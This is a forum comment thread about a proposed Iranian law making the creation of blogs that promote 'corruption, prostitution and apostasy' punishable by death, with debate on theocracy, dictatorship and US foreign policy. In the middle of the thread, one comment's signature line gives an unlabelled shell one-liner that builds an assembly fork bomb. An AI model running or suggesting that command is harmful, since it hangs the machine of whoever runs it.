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In Iran, Blogging May Be Punishable By Death
An anonymous reader writes "In Iran, crimes such as apostasy (leaving a religion, in this case Islam) and armed robbery are already punishable by death, but a new bill in Iran aims to add to the list 'establishing weblogs and sites promoting corruption, prostitution and apostasy,' effectively giving the government a free hand in silencing bloggers. The internet is widely used in Iran, despite its previous attempts at censorship. Will this change as the censorship grows more rampant?"
When every single Iranian I meet traveling abroad, without exception, apologizes for the actions of their government and expresses their shame for the theocrats in change, I wonder how long things can stay the way they are there. Doesn't Iran have an unusually high proportion of young people, and doesn't that often bode revolution?
Separation of church and state anyone?
Yeah, it's almost as if the First Amendment doesn't apply to Iran...
Spelling mistakes, grammatical errors, and stupid comments are intentional.
..simply because I've had a boyfriend, I don't think this is particularily surprising. It is a supressive theocracy. Like other theocracies it has no qualms with torturing and even killing innocent people in order to silence criticism. This is common in dictatorships religious or not. The fundamental problem is the dictatorial rule and the regime's complete lack of limits in terms of what lengths it will go to in order to protect its own survival. Soviet was the same. Zimbabwe is the same. The only difference is what excuse these regimes use to justify their crimes. In soviet it was political ideology. In Iran it is religion. In Zimbabwe it is skin colour. What they have in common is that they kill and torture people in order to make the public afraid of organising opposition, their official reasons (religion,economics,race,culture) for doing so have little to do with their actual objectives. It's all about supressing dissidents, all other reasons is smoke and mirrors trying to obscure the true nature of the regime.
More proof we need to go in there and help them to be more like us. Then they will be happy and free, just like we did in Iraq when we helped them back in 2002.
This was a triumph
I'm making a note here
HUGE SUCCESS
It's hard to overstate my satisfaction
Neoconservatism
we do what we must because we can
for the good of all of us except for the ones who are dead
but there's no sense crying over every mistake
you just keep on trying until you run out of oil
and the polics gets done and you make a neat Middle East
for the people who are still alive
I'm not even angry
I'm being so sincere right now
even though you broke my heart and voted me out of office
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Many or all of these things are already punishable by death in Iran if you do them without the internet. Go over there and start distributing literature trying to convert people from Islam to another religion, and you've got a potential date with the executioner.
Hence, it is not blogging that they are making punishable by death. They are simply closing a loophole that may have let yo escape punishment by using blogs instead of, say, print or radio.
If we are going to be upset, we should be upset at apostasy being a capital crime at all, not that they have noticed that blogs can be used for apostasy and are closing that loophole.
OK i guess this will be modded as flamebait, but perhaps it's US's responsibility to just stop messing with other countries altogether, no breaking, no fixing, just leaving them alone.
Power corrupts the few, while weakness corrupts the many.